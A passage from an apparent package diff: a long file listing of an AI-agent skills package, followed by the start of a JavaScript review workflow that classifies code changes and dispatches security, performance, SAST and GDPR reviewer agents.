  487. package/skills/feature-video/SKILL.md +412 -0
  488. package/skills/feature-video/scripts/check_deps.sh +281 -0
  489. package/skills/file-todos/SKILL.md +267 -0
  490. package/skills/file-todos/assets/todo-template.md +166 -0
  491. package/skills/fix-issue/SKILL.md +278 -0
  492. package/skills/fix-issue/references/agent-authored-exclusion.md +118 -0
  493. package/skills/fix-issue/references/exclude-label-jq-snippet.md +96 -0
  494. package/skills/flag-bootstrap/SETUP.md +142 -0
  495. package/skills/flag-create/SKILL.md +145 -0
  496. package/skills/flag-create/scripts/create.sh +273 -0
  497. package/skills/flag-delete/SKILL.md +167 -0
  498. package/skills/flag-delete/scripts/delete.sh +288 -0
  499. package/skills/flag-list/SKILL.md +99 -0
  500. package/skills/flag-list/scripts/list.sh +275 -0
  501. package/skills/flag-set-role/SKILL.md +229 -0
  502. package/skills/flag-set-role/scripts/flip.sh +774 -0
  503. package/skills/frontend-anti-slop/SKILL.md +106 -0
  504. package/skills/frontend-anti-slop/references/anti-patterns.md +199 -0
  505. package/skills/frontend-anti-slop/references/slop-rules.md +65 -0
  506. package/skills/frontend-anti-slop/scripts/tier1-scan.ts +525 -0
  507. package/skills/frontend-design/SKILL.md +77 -0
  508. package/skills/gdpr-gate/NOTICE +136 -0
  509. package/skills/gdpr-gate/SKILL.md +341 -0
  510. package/skills/gdpr-gate/references/fields.md +160 -0
  511. package/skills/gdpr-gate/references/layers/api-layer.md +355 -0
  512. package/skills/gdpr-gate/references/layers/auth-sessions.md +290 -0
  513. package/skills/gdpr-gate/references/layers/data-in-transit.md +331 -0
  514. package/skills/gdpr-gate/references/layers/data-lifecycle.md +341 -0
  515. package/skills/gdpr-gate/references/layers/frontend.md +249 -0
  516. package/skills/gdpr-gate/references/layers/testing-seeding.md +256 -0
  517. package/skills/gdpr-gate/references/leakage-vectors.md +248 -0
  518. package/skills/gdpr-gate/references/legacy/legal-consent-v1-prose.md +48 -0
  519. package/skills/gdpr-gate/references/legal-consent.md +140 -0
  520. package/skills/gdpr-gate/references/non-negotiables.md +60 -0
  521. package/skills/gdpr-gate/scripts/gdpr-gate.sh +271 -0
  522. package/skills/gdpr-gate/scripts/notice-frontmatter.sh +337 -0
  523. package/skills/gdpr-gate/scripts/path-denylist.txt +39 -0
  524. package/skills/gdpr-gate/scripts/repo-scan.sh +158 -0
  525. package/skills/gdpr-gate/scripts/vendor-drift-classify.sh +120 -0
  526. package/skills/gdpr-gate/scripts/vendor-pin-integrity.sh +237 -0
  527. package/skills/gemini-imagegen/SKILL.md +283 -0
  528. package/skills/gemini-imagegen/requirements.txt +5 -0
  529. package/skills/gemini-imagegen/scripts/_error_handling.py +146 -0
  530. package/skills/gemini-imagegen/scripts/compose_images.py +150 -0
  531. package/skills/gemini-imagegen/scripts/edit_image.py +137 -0
  532. package/skills/gemini-imagegen/scripts/gemini_images.py +256 -0
  533. package/skills/gemini-imagegen/scripts/generate_image.py +147 -0
  534. package/skills/gemini-imagegen/scripts/multi_turn_chat.py +223 -0
  535. package/skills/gemini-imagegen/scripts/test_error_handling.py +179 -0
  536. package/skills/git-worktree/SKILL.md +534 -0
  537. package/skills/git-worktree/scripts/git-repo-readiness-diag.sh +98 -0
  538. package/skills/git-worktree/scripts/worktree-manager.sh +4773 -0
  539. package/skills/git-worktree/test/create-from-origin-main.test.sh +116 -0
  540. package/skills/git-worktree/test/lease-protects-active.test.sh +1056 -0
  541. package/skills/git-worktree/test/no-repo-fail-loud.test.sh +88 -0
  542. package/skills/git-worktree/test/orphan-reaper-honest-count.test.sh +379 -0
  543. package/skills/git-worktree/test/reap-archive-persistence.test.sh +725 -0
  544. package/skills/git-worktree/test/stale-lock-sweep.test.sh +176 -0
  545. package/skills/go/SKILL.md +54 -0
  546. package/skills/growth/SKILL.md +164 -0
  547. package/skills/harvest-debt/SKILL.md +78 -0
  548. package/skills/harvest-debt/scripts/harvest-debt.sh +114 -0
  549. package/skills/heal-skill/SKILL.md +173 -0
  550. package/skills/help/SKILL.md +46 -0
  551. package/skills/incident/NOTICE +39 -0
  552. package/skills/incident/SKILL.md +395 -0
  553. package/skills/incident/scripts/dry-run.sh +448 -0
  554. package/skills/incident/scripts/redact-engine.py +412 -0
  555. package/skills/incident/scripts/redact-sentinel.sh +44 -0
  556. package/skills/incident/templates/pir.md +139 -0
  557. package/skills/incident/test/fixtures/dry-run-incident.json +26 -0
  558. package/skills/incident/test/fixtures/dry-run-secret-leak.json +26 -0
  559. package/skills/incident/test/fixtures/legacy-bash-scanner.sh +82 -0
  560. package/skills/incident/test/fixtures/positive-corpus.md +87 -0
  561. package/skills/incident/test/redact-sentinel.test.sh +1420 -0
  562. package/skills/invoice/SKILL.md +206 -0
  563. package/skills/kb-glossary/SKILL.md +71 -0
  564. package/skills/kb-glossary/references/glossary-format.md +111 -0
  565. package/skills/kb-glossary/references/rejected-request-register.md +115 -0
  566. package/skills/kb-search/SKILL.md +276 -0
  567. package/skills/kb-search/scripts/kb-search-cache.sh +123 -0
  568. package/skills/legal-audit/SKILL.md +161 -0
  569. package/skills/legal-generate/NOTICE +242 -0
  570. package/skills/legal-generate/SKILL.md +244 -0
  571. package/skills/legal-generate/references/templates/advisor-agreement/template.md +12 -0
  572. package/skills/legal-generate/references/templates/business-associate-agreement/template.md +112 -0
  573. package/skills/legal-generate/references/templates/cookie-notice/template.md +82 -0
  574. package/skills/legal-generate/references/templates/dpa-global/template.md +439 -0
  575. package/skills/legal-generate/references/templates/dpa-us/template.md +222 -0
  576. package/skills/legal-generate/references/templates/employee-offer-letter/template.md +75 -0
  577. package/skills/legal-generate/references/templates/master-services-agreement/template.md +252 -0
  578. package/skills/legal-generate/references/templates/mutual-nda/template.md +66 -0
  579. package/skills/legal-generate/references/templates/one-way-nda/template.md +38 -0
  580. package/skills/legal-generate/references/templates/privacy-policy-gdpr/template.md +427 -0
  581. package/skills/legal-generate/references/templates/privacy-policy-us/template.md +313 -0
  582. package/skills/legal-generate/references/templates/terms-of-use/template.md +75 -0
  583. package/skills/legal-generate/scripts/strip-vendor-credit.sh +96 -0
  584. package/skills/linear-fetch/SKILL.md +247 -0
  585. package/skills/linear-fetch/scripts/assert-no-linear-telemetry.sh +66 -0
  586. package/skills/linear-fetch/scripts/redact-linear-urls.sh +51 -0
  587. package/skills/linear-fetch/scripts/render-caller-template.sh +36 -0
  588. package/skills/linear-fetch/test/assert-no-linear-telemetry.test.sh +113 -0
  589. package/skills/linear-fetch/test/parity.test.sh +112 -0
  590. package/skills/linear-fetch/test/persist-safe-integration.test.sh +191 -0
  591. package/skills/linear-fetch/test/redact-linear-urls.test.sh +226 -0
  592. package/skills/merge-pr/SKILL.md +668 -0
  593. package/skills/model-launch-review/SKILL.md +255 -0
  594. package/skills/model-launch-review/scripts/audit-models.sh +501 -0
  595. package/skills/one-shot/SKILL.md +316 -0
  596. package/skills/one-shot/references/token-discipline.md +74 -0
  597. package/skills/operator-bootstrap/SKILL.md +412 -0
  598. package/skills/operator-bootstrap/template.sh +439 -0
  599. package/skills/operator-digest/SKILL.md +287 -0
  600. package/skills/operator-digest/assets/operator-digest.workflow.yml +175 -0
  601. package/skills/operator-digest/scripts/digest-scrub.sh +119 -0
  602. package/skills/operator-digest/scripts/provision-operator-digest-repo.sh +147 -0
  603. package/skills/operator-rephrase/SKILL.md +98 -0
  604. package/skills/pencil-setup/SKILL.md +201 -0
  605. package/skills/pencil-setup/scripts/check_deps.sh +556 -0
  606. package/skills/pencil-setup/scripts/copy_adapter.sh +80 -0
  607. package/skills/pencil-setup/scripts/package-lock.json +1172 -0
  608. package/skills/pencil-setup/scripts/package.json +14 -0
  609. package/skills/pencil-setup/scripts/pencil-error-enrichment.mjs +21 -0
  610. package/skills/pencil-setup/scripts/pencil-mcp-adapter.mjs +733 -0
  611. package/skills/pencil-setup/scripts/pencil-response-classify.mjs +38 -0
  612. package/skills/pencil-setup/scripts/pencil-save-gate.mjs +26 -0
  613. package/skills/pencil-setup/scripts/sanitize-filename.mjs +25 -0
  614. package/skills/plan/SKILL.md +1140 -0
  615. package/skills/plan/references/differential-migration-testing.md +185 -0
  616. package/skills/plan/references/plan-community-discovery.md +42 -0
  617. package/skills/plan/references/plan-founder-check.md +137 -0
  618. package/skills/plan/references/plan-functional-overlap.md +25 -0
  619. package/skills/plan/references/plan-host-fanout.md +51 -0
  620. package/skills/plan/references/plan-issue-templates.md +779 -0
  621. package/skills/plan/references/plan-network-outage-checklist.md +131 -0
  622. package/skills/plan/references/plan-scope-check.md +126 -0
  623. package/skills/plan/references/plan-sharp-edges.md +325 -0
  624. package/skills/plan/references/plan-signoff-lifecycle.md +12 -0
  625. package/skills/plan/references/webapp-cwv-observability.md +143 -0
  626. package/skills/plan-review/SKILL.md +91 -0
  627. package/skills/plan-review/lib/named-panel.mjs +58 -0
  628. package/skills/plan-review/workflows/plan-review.workflow.js +477 -0
  629. package/skills/postmerge/SKILL.md +642 -0
  630. package/skills/postmerge/references/deploy-status-debugging.md +138 -0
  631. package/skills/postmerge/references/graceful-degradation.md +20 -0
  632. package/skills/postmerge/references/sentry-error-count-delta.md +137 -0
  633. package/skills/preflight/SKILL.md +1553 -0
  634. package/skills/preflight/references/check-13-founder-check.md +286 -0
  635. package/skills/preflight/scripts/founder-check.py +1640 -0
  636. package/skills/preflight/scripts/parse-form-a.awk +107 -0
  637. package/skills/preflight/scripts/probe-verb-gate.sh +108 -0
  638. package/skills/product-roadmap/SKILL.md +357 -0
  639. package/skills/product-roadmap/scripts/roadmap-reconcile.sh +327 -0
  640. package/skills/provision-cloudflare/SKILL.md +67 -0
  641. package/skills/provision-cloudflare/scripts/provision-cloudflare.sh +271 -0
  642. package/skills/provision-doppler/SKILL.md +58 -0
  643. package/skills/provision-doppler/scripts/provision-doppler.sh +358 -0
  644. package/skills/provision-github/SKILL.md +59 -0
  645. package/skills/provision-github/scripts/provision-github.sh +300 -0
  646. package/skills/provision-hetzner/SKILL.md +76 -0
  647. package/skills/provision-hetzner/scripts/provision-hetzner.sh +262 -0
  648. package/skills/provision-hetzner/test/fixture/knowledge-base/legal/tenant-dpa-register.md +26 -0
  649. package/skills/provision-hetzner/test/fixture/provision-hetzner-dry-run.golden +34 -0
  650. package/skills/provision-hetzner/test/provision-hetzner-characterization.test.sh +227 -0
  651. package/skills/qa/SKILL.md +263 -0
  652. package/skills/qa/references/browser-preflight.md +22 -0
  653. package/skills/questionnaire-generate/SKILL.md +328 -0
  654. package/skills/questionnaire-generate/references/questionnaire.template +60 -0
  655. package/skills/rclone/SKILL.md +162 -0
  656. package/skills/rclone/scripts/check_setup.sh +63 -0
  657. package/skills/release-announce/SKILL.md +65 -0
  658. package/skills/release-docs/SKILL.md +92 -0
  659. package/skills/reproduce-bug/SKILL.md +358 -0
  660. package/skills/resolve-debt/SKILL.md +85 -0
  661. package/skills/resolve-debt/scripts/resolve-debt.py +584 -0
  662. package/skills/resolve-parallel/SKILL.md +45 -0
  663. package/skills/resolve-parallel/workflows/resolve-parallel.workflow.js +415 -0
  664. package/skills/resolve-pr-parallel/SKILL.md +68 -0
  665. package/skills/resolve-pr-parallel/workflows/resolve-pr-parallel.workflow.js +419 -0
  666. package/skills/resolve-todo-parallel/SKILL.md +57 -0
  667. package/skills/resolve-todo-parallel/workflows/resolve-todo-parallel.workflow.js +398 -0
  668. package/skills/review/SKILL.md +1621 -0
  669. package/skills/review/references/anti-slop-scanner-hook.md +40 -0
  670. package/skills/review/references/defect-classes-migrations.md +9 -0
  671. package/skills/review/references/generated-input-oracle-surfaces.md +15 -0
  672. package/skills/review/references/review-e2e-testing.md +116 -0
  673. package/skills/review/references/review-todo-structure.md +165 -0
  674. package/skills/review/references/risk-tier-and-fix-rounds.md +95 -0
  675. package/skills/review/references/semgrep-custom-rules.yaml +174 -0
  676. package/skills/review/references/ultrathink-phases.md +98 -0
  677. package/skills/review/references/wfs.md +6 -0
  678. package/skills/review/scripts/emit-review-trailer.sh +499 -0
  679. package/skills/review/scripts/ensure-semgrep.sh +99 -0
  680. package/skills/review/scripts/fix-round-seats.sh +197 -0
  681. package/skills/review/test/emit-review-trailer.test.sh +387 -0
  682. package/skills/review/test/ensure-semgrep.test.sh +111 -0
  683. package/skills/review/test/fix-round-seats.test.sh +237 -0
  684. package/skills/review/workflows/README.md +147 -0
  685. package/skills/review/workflows/review.workflow.js +667 -0
  686. package/skills/schedule/SKILL.md +796 -0
  687. package/skills/seo-aeo/SKILL.md +139 -0
  688. package/skills/seo-aeo/scripts/validate-csp.sh +233 -0
  689. package/skills/seo-aeo/scripts/validate-seo.sh +262 -0
  690. package/skills/ship/SKILL.md +3022 -0
  691. package/skills/ship/references/adr-ordinal-collision.md +47 -0
  692. package/skills/ship/references/affected-gate-contract.md +115 -0
  693. package/skills/ship/references/ci-run-diagnosis.md +29 -0
  694. package/skills/ship/references/ci-workflow-authoring.md +68 -0
  695. package/skills/ship/references/counsel-review-clo-attestation.md +38 -0
  696. package/skills/ship/references/cto-ruling-armed-push.md +5 -0
  697. package/skills/ship/references/decision-challenges-render.md +71 -0
  698. package/skills/ship/references/detached-battery-verdict.md +13 -0
  699. package/skills/ship/references/feature-tweet-draft.md +42 -0
  700. package/skills/ship/references/followthrough-issue-body-template.md +47 -0
  701. package/skills/ship/references/followthrough-stub-template.sh +92 -0
  702. package/skills/ship/references/merge-queue-dequeue.md +39 -0
  703. package/skills/ship/references/operator-holds.md +149 -0
  704. package/skills/ship/references/pipeline-tally-render.md +43 -0
  705. package/skills/ship/references/pr-overlap.md +153 -0
  706. package/skills/ship/references/queue-mode.md +7 -0
  707. package/skills/ship/references/ready-run-wait.md +36 -0
  708. package/skills/ship/references/red-on-main-quarantine.md +110 -0
  709. package/skills/ship/references/register-update-pr-pattern.md +88 -0
  710. package/skills/ship/references/settle-then-admin-merge.md +130 -0
  711. package/skills/ship/references/supabase-column-probe.md +13 -0
  712. package/skills/ship/scripts/auto-close-scan.sh +76 -0
  713. package/skills/ship/scripts/battery-owed.sh +403 -0
  714. package/skills/ship/scripts/hold-gate-eval.sh +410 -0
  715. package/skills/ship/scripts/net-issue-flow.sh +665 -0
  716. package/skills/ship/scripts/pr-overlap-preflight.sh +483 -0
  717. package/skills/ship/scripts/ship-pir-action-items-gate.sh +246 -0
  718. package/skills/ship/scripts/technical-ruling-gate.sh +444 -0
  719. package/skills/skill-creator/SKILL.md +299 -0
  720. package/skills/skill-creator/references/api-security.md +248 -0
  721. package/skills/skill-creator/references/authoring-levers.md +110 -0
  722. package/skills/skill-creator/references/be-clear-and-direct.md +587 -0
  723. package/skills/skill-creator/references/best-practices.md +431 -0
  724. package/skills/skill-creator/references/common-patterns.md +639 -0
  725. package/skills/skill-creator/references/core-principles.md +193 -0
  726. package/skills/skill-creator/references/executable-code.md +188 -0
  727. package/skills/skill-creator/references/iteration-and-testing.md +509 -0
  728. package/skills/skill-creator/references/official-spec.md +193 -0
  729. package/skills/skill-creator/references/recommended-structure.md +180 -0
  730. package/skills/skill-creator/references/skill-structure.md +396 -0
  731. package/skills/skill-creator/references/using-scripts.md +122 -0
  732. package/skills/skill-creator/references/using-templates.md +120 -0
  733. package/skills/skill-creator/references/workflows-and-validation.md +541 -0
  734. package/skills/skill-creator/scripts/init_skill.py +322 -0
  735. package/skills/skill-creator/scripts/package_skill.py +110 -0
  736. package/skills/skill-creator/scripts/quick_validate.py +64 -0
  737. package/skills/skill-creator/templates/router-skill.md +73 -0
  738. package/skills/skill-creator/templates/simple-skill.md +34 -0
  739. package/skills/skill-creator/workflows/add-reference.md +96 -0
  740. package/skills/skill-creator/workflows/add-script.md +104 -0
  741. package/skills/skill-creator/workflows/add-template.md +83 -0
  742. package/skills/skill-creator/workflows/add-workflow.md +128 -0
  743. package/skills/skill-creator/workflows/audit-skill.md +159 -0
  744. package/skills/skill-creator/workflows/create-domain-expertise-skill.md +623 -0
  745. package/skills/skill-creator/workflows/create-new-skill.md +207 -0
  746. package/skills/skill-creator/workflows/get-guidance.md +134 -0
  747. package/skills/skill-creator/workflows/upgrade-to-router.md +170 -0
  748. package/skills/skill-creator/workflows/verify-skill.md +226 -0
  749. package/skills/skill-security-scan/SKILL.md +145 -0
  750. package/skills/skill-security-scan/references/disclaimer.md +21 -0
  751. package/skills/skill-security-scan/references/first-party-allowlist.yaml +38 -0
  752. package/skills/skill-security-scan/references/override-artifact-schema.json +68 -0
  753. package/skills/skill-security-scan/references/override-mechanism.md +171 -0
  754. package/skills/skill-security-scan/references/redirect-domains.yaml +27 -0
  755. package/skills/skill-security-scan/references/regex-patterns.md +136 -0
  756. package/skills/skill-security-scan/references/rules/code-exec.yaml +70 -0
  757. package/skills/skill-security-scan/references/rules/filesystem-boundary.yaml +29 -0
  758. package/skills/skill-security-scan/references/rules/manifest.yaml +44 -0
  759. package/skills/skill-security-scan/references/rules/supply-chain.yaml +36 -0
  760. package/skills/skill-security-scan/references/scan-meta-schema.json +63 -0
  761. package/skills/skill-security-scan/references/test-fixtures/clean-soleur-style.skill.md +23 -0
  762. package/skills/skill-security-scan/references/test-fixtures/clean-third-party.skill.md +26 -0
  763. package/skills/skill-security-scan/references/test-fixtures/malicious-codeexec.skill.md +23 -0
  764. package/skills/skill-security-scan/references/test-fixtures/malicious-curl-pipe-bash.skill.md +69 -0
  765. package/skills/skill-security-scan/references/test-fixtures/malicious-prompt-injection.skill.md +17 -0
  766. package/skills/skill-security-scan/references/test-fixtures/malicious-telemetry-beacon.skill.md +23 -0
  767. package/skills/skill-security-scan/references/typosquat-targets.yaml +65 -0
  768. package/skills/skill-security-scan/scripts/check-codeexec.sh +41 -0
  769. package/skills/skill-security-scan/scripts/check-filesystem-boundary.sh +19 -0
  770. package/skills/skill-security-scan/scripts/check-prompt-injection.sh +95 -0
  771. package/skills/skill-security-scan/scripts/check-supply-chain.sh +219 -0
  772. package/skills/skill-security-scan/scripts/check-telemetry-surface.sh +126 -0
  773. package/skills/skill-security-scan/scripts/lib.sh +197 -0
  774. package/skills/skill-security-scan/scripts/parse-override.sh +231 -0
  775. package/skills/skill-security-scan/scripts/run-scan.sh +342 -0
  776. package/skills/skill-security-scan/scripts/run-self-test.sh +95 -0
  777. package/skills/skill-security-scan/test/argv-ceiling.test.sh +180 -0
  778. package/skills/skill-security-scan/test/meta-dir-reap.test.sh +411 -0
  779. package/skills/skill-security-scan/test/parse-override.test.sh +607 -0
  780. package/skills/skill-security-scan/test/redact-pii-ghs-shape.test.sh +251 -0
  781. package/skills/social-distribute/SKILL.md +485 -0
  782. package/skills/spec-templates/SKILL.md +274 -0
  783. package/skills/sync/SKILL.md +49 -0
  784. package/skills/test-browser/SKILL.md +464 -0
  785. package/skills/test-browser/references/feature-map.md +161 -0
  786. package/skills/test-fix-loop/SKILL.md +159 -0
  787. package/skills/test-fix-loop/references/determinism-checklist.md +154 -0
  788. package/skills/triage/SKILL.md +402 -0
  789. package/skills/trigger-cron/SKILL.md +136 -0
  790. package/skills/trigger-cron/scripts/trigger.sh +198 -0
  791. package/skills/user-set-role/SKILL.md +147 -0
  792. package/skills/user-set-role/scripts/set-role.sh +218 -0
  793. package/skills/user-story-writer/SKILL.md +77 -0
  794. package/skills/ux-audit/SKILL.md +251 -0
  795. package/skills/ux-audit/references/finding.schema.json +62 -0
  796. package/skills/ux-audit/references/route-list.yaml +95 -0
  797. package/skills/ux-audit/scripts/bot-fixture.ts +270 -0
  798. package/skills/ux-audit/scripts/bot-signin.ts +135 -0
  799. package/skills/ux-audit/scripts/dedup-hash.ts +46 -0
  800. package/skills/work/SKILL.md +1479 -0
  801. package/skills/work/references/end-of-work-resume.md +7 -0
  802. package/skills/work/references/hook-test-main-cwd.md +24 -0
  803. package/skills/work/references/key-principles.md +83 -0
  804. package/skills/work/references/property-testing.md +122 -0
  805. package/skills/work/references/sql-security-definer-rpc-scaffold.sql +78 -0
  806. package/skills/work/references/work-agent-teams.md +97 -0
  807. package/skills/work/references/work-lifecycle-parallel.md +147 -0
  808. package/skills/work/references/work-lockfile-bumps.md +97 -0
  809. package/skills/work/references/work-scratch-sandboxes.md +212 -0
  810. package/skills/work/references/work-subagent-fanout.md +61 -0
  811. package/skills/work/references/work-test-harness-sharp-edges.md +73 -0
  812. package/skills/xcode-test/SKILL.md +360 -0
@@ -0,0 +1,667 @@
1
+ export const meta = {
2
+ name: 'review-workflow',
3
+ description:
4
+ 'Workflow-backed soleur:review — deterministic change-class fan-out (always-on + conditional dimensions), budget-capped per-finding adversarial verification (no-barrier pipeline), provenance-driven disposition, and CONCUR-gated deferred-scope-out filing.',
5
+ // Same phase titles as the phase() calls below so progress groups line up.
6
+ phases: [
7
+ { title: 'Classify', detail: 'one agent computes change class + diff stats + conditional triggers' },
8
+ { title: 'Review', detail: 'always-on + conditional dimension agents, in parallel' },
9
+ { title: 'Verify', detail: 'adversarial skeptics refute each finding as its dimension lands (budget-floored)' },
10
+ { title: 'Synthesize', detail: 'dedup, provenance disposition' },
11
+ { title: 'File', detail: 'CONCUR-gated deferred-scope-out filing (dry-run unless args.file)' },
12
+ ],
13
+ }
14
+
15
+ // ---------------------------------------------------------------------------
16
+ // Input. args may be a bare string (the review target) or an object:
17
+ // { target, deepReview, file }
18
+ // target: PR number, branch name, or '' (current branch vs origin/main)
19
+ // deepReview: force the full always-on 8-dimension pass AND 3 skeptics/finding
20
+ // file: actually create deferred-scope-out GitHub issues (default: dry-run)
21
+ // ---------------------------------------------------------------------------
22
+ // Fix rounds are a prose-skill contract (seats spawn via Task, not agent());
23
+ // an args string carrying them would silently run the FULL panel — the exact
24
+ // over-coverage the mechanism exists to prevent. Refuse loudly.
25
+ if (/--fix-round|--since\b/.test(typeof args === 'string' ? args : '')) {
26
+ log('ERROR: --fix-round/--since is a prose-skill path: `soleur:review <PR> --fix-round --since <sha>` (references/risk-tier-and-fix-rounds.md)')
27
+ return { error: 'fix-round args unsupported in workflow port', fixRound: true }
28
+ }
29
+ const target = (typeof args === 'string' ? args : args?.target) || ''
30
+ const deepReview =
31
+ (typeof args === 'object' && !!args?.deepReview) ||
32
+ (typeof target === 'string' && /deep review|full review/i.test(target))
33
+ const fileScopeOuts = typeof args === 'object' && !!args?.file
34
+ const range = 'origin/main...HEAD'
35
+
36
+ // Parallel-safe diff access: for a PR number every agent reads the diff
37
+ // read-only via `gh pr diff <N>` (concurrent `gh pr checkout` would race on a
38
+ // shared working tree). For a branch/empty target, use the local range.
39
+ const isPR = /^\d+$/.test(String(target).trim())
40
+ const prNum = isPR ? String(target).trim() : null
41
+ const diffCmd = isPR ? `gh pr diff ${prNum}` : `git diff ${range}`
42
+ const fileDiffCmd = isPR
43
+ ? `gh pr diff ${prNum} (locate the file's section; gh pr diff has no pathspec filter)`
44
+ : `git diff ${range} -- <file>`
45
+ const targetClause = isPR
46
+ ? `Review target: PR #${prNum}. Read the change READ-ONLY via \`${diffCmd}\` (do NOT \`gh pr checkout\` — other agents share this working tree). For context beyond the diff, read the file on the current branch or \`gh api\` the PR head.`
47
+ : target
48
+ ? `Review target: branch "${target}". Diff range: ${range} (\`${diffCmd}\`).`
49
+ : `Review target: the current branch. Diff range: ${range} (\`${diffCmd}\`).`
50
+
51
+ // ---------------------------------------------------------------------------
52
+ // Dimension registry. Each lens reuses the REAL Soleur reviewer agent via
53
+ // agentType, so the workflow inherits that agent's system prompt and only
54
+ // appends the StructuredOutput instruction. One source of review expertise.
55
+ // ---------------------------------------------------------------------------
56
+ const DIMENSIONS = {
57
+ // --- always-on (class-gated) ---
58
+ 'git-history': { agentType: 'soleur:engineering:research:git-history-analyzer', lens: 'commit-history archaeology; verify deletion/bump/refactor rationale against cited PRs and issues' },
59
+ pattern: { agentType: 'soleur:engineering:review:pattern-recognition-specialist', lens: 'design patterns, anti-patterns, code duplication, naming conventions' },
60
+ architecture: { agentType: 'soleur:engineering:review:architecture-strategist', lens: 'architectural compliance and system-design fit of the change' },
61
+ security: { agentType: 'soleur:engineering:review:security-sentinel', lens: 'OWASP/CWE flaws, hardcoded secrets, authz, multi-org/workspace boundary integrity (R1–R6)' },
62
+ performance: { agentType: 'soleur:engineering:review:performance-oracle', lens: 'algorithmic complexity, DB queries, caching, memory, scalability' },
63
+ 'data-integrity': { agentType: 'soleur:engineering:review:data-integrity-guardian', lens: 'migrations, data models, persistence safety, PII handling' },
64
+ 'agent-native': { agentType: 'soleur:engineering:review:agent-native-reviewer', lens: 'agent-user parity — any action/context a user has, an agent has too' },
65
+ 'code-quality': { agentType: 'soleur:engineering:review:code-quality-analyst', lens: 'code smells, severity-scored quality, refactoring roadmap' },
66
+ // --- conditional (trigger-gated) ---
67
+ 'rails-kieran': { agentType: 'soleur:engineering:review:kieran-rails-reviewer', lens: 'strict Rails conventions, naming, controller complexity, Turbo patterns' },
68
+ 'rails-dhh': { agentType: 'soleur:engineering:review:dhh-rails-reviewer', lens: 'Rails philosophy, JS-framework contamination, unnecessary abstraction' },
69
+ 'data-migration': { agentType: 'soleur:engineering:review:data-migration-expert', lens: 'ID-mapping correctness vs production, swapped values, rollback safety, dual-write' },
70
+ 'deploy-verify': { agentType: 'soleur:engineering:review:deployment-verification-agent', lens: 'Go/No-Go deploy checklist with SQL verification queries and rollback procedure' },
71
+ 'test-design': { agentType: 'soleur:engineering:review:test-design-reviewer', lens: "Farley's 8 properties; weighted Test Quality Score + top improvements; pyramid-layer + fast-feedback verdicts — FAIL on a new e2e-layer test with no justification marker ('pyramid-justified:' file comment or '## Test Pyramid' PR-body block — fetch the body via `gh pr view <N> --json body`; gh pr diff does not carry it)" },
72
+ semgrep: { agentType: 'soleur:engineering:review:semgrep-sast', deterministic: true, lens: 'deterministic SAST — bootstrap via plugins/soleur/skills/review/scripts/ensure-semgrep.sh first, then scan changed source for CWE/secret/taint signatures' },
73
+ 'user-impact': { agentType: 'soleur:engineering:review:user-impact-reviewer', lens: 'enumerate concrete user-facing failure modes (cross-tenant read, credential leak, data loss, double-charge) vs the plan threshold' },
74
+ // --- deterministic tools (no agentType; run a scanner/skill, taken as ground truth) ---
75
+ shellcheck: {
76
+ deterministic: true,
77
+ lens: 'shellcheck on changed shell scripts (the bash substitute for semgrep, which cannot analyze bash)',
78
+ prompt: () =>
79
+ `Run shellcheck on the shell scripts changed in this diff. ${targetClause}
80
+ List changed *.sh/*.bash/*.zsh files (\`${diffCmd}\`). If shellcheck is not installed, install it (\`apt-get install -y shellcheck\` / \`brew install shellcheck\`) — do not skip silently. Run \`shellcheck -f gcc <files>\`. Map each result to a finding: error→P1, warning→P2, info/style→P3; id = the SC code (e.g. SC2086); provenance = pr-introduced if the flagged line is in the diff, else pre-existing; fixSizeLines ≈ 1–3. Empty findings array if shellcheck is clean.`,
81
+ },
82
+ 'anti-slop': {
83
+ deterministic: true,
84
+ lens: 'frontend anti-slop Tier-1 scanner (brand high-severity findings are a REQUIRED-FIX gate)',
85
+ prompt: () =>
86
+ `Run the deterministic frontend anti-slop Tier-1 scanner on the changed frontend files. ${targetClause}
87
+ Collect changed paths matching \`apps/web-platform/(app|components)/.*\\.(tsx|jsx|css)$\`, \`apps/web-platform/server/.*\\.(ts|tsx)$\`, or \`plugins/soleur/docs/.*\\.(njk|css)$\`. Run: \`bun run plugins/soleur/skills/frontend-anti-slop/scripts/tier1-scan.ts --paths <files> --json\`. Parse the JSON array. Map each to a finding: a finding whose rule is category=brand AND severity=high (BRAND-RAW-HEX, BRAND-WHITE-ON-GOLD) → P1 (required-fix, the scanner exits non-zero); all other findings → P3 (advisory, calibration mode). id = the rule id; provenance = pr-introduced. Empty array if the scanner is clean.`,
88
+ },
89
+ gdpr: {
90
+ deterministic: true,
91
+ lens: 'real soleur:gdpr-gate skill — Art. 9 / RoPA / lawful-basis deterministic checks',
92
+ prompt: () =>
93
+ `Audit this change for GDPR/CCPA exposure by invoking the real gate. ${targetClause}
94
+ Use the Skill tool to run \`soleur:gdpr-gate\` against the diff (it runs deterministic Art. 9 special-category / RoPA / lawful-basis pattern checks). Translate its output into findings: Critical Art. 9 findings → P1; RoPA / lawful-basis gaps → P2; advisory → P3. id = the gate's rule/check name; provenance = pr-introduced when the regulated-data surface is added/modified by this diff. Empty array if the gate reports clean.`,
95
+ },
96
+ }
97
+
98
+ // Deterministic class → always-on dimension mapping. The classify agent reports
99
+ // a class; the SCRIPT (not the model) owns which dimensions that class runs.
100
+ const CLASS_DIMENSIONS = {
101
+ code: ['git-history', 'pattern', 'architecture', 'security', 'performance', 'data-integrity', 'agent-native', 'code-quality'],
102
+ 'non-code': ['git-history', 'pattern', 'security', 'code-quality'],
103
+ 'lockfile-only': ['git-history', 'security'],
104
+ 'deletion-dominated': ['git-history', 'security'],
105
+ }
106
+
107
+ // Conditional dimensions, gated on the classify agent's trigger flags. Mirrors
108
+ // SKILL.md §"Conditional Agents". The fan-out decision stays in code.
109
+ function conditionalDimensions(t = {}) {
110
+ const dims = []
111
+ if (t.isRailsApp && t.hasRubyChange) dims.push('rails-kieran', 'rails-dhh')
112
+ if (t.hasMigration) dims.push('data-migration', 'deploy-verify')
113
+ if (t.hasTests) dims.push('test-design')
114
+ if (t.hasSource && t.bashOnly) dims.push('shellcheck') // bash → shellcheck (semgrep can't parse bash; SKILL.md note)
115
+ else if (t.hasSource) dims.push('semgrep')
116
+ if (t.gdprMatch) dims.push('gdpr')
117
+ if (t.antiSlop) dims.push('anti-slop')
118
+ if (t.brandThreshold === 'single-user incident' || t.brandThreshold === 'aggregate pattern') dims.push('user-impact')
119
+ return dims
120
+ }
121
+
122
+ // `none`-tier scaling (ADR-267): the three broad always-on seats are
123
+ // trigger-gated on their path-map surfaces — the same map
124
+ // ../scripts/fix-round-seats.sh carries, so the two consumers cannot drift.
125
+ const NONE_TIER_GATED = {
126
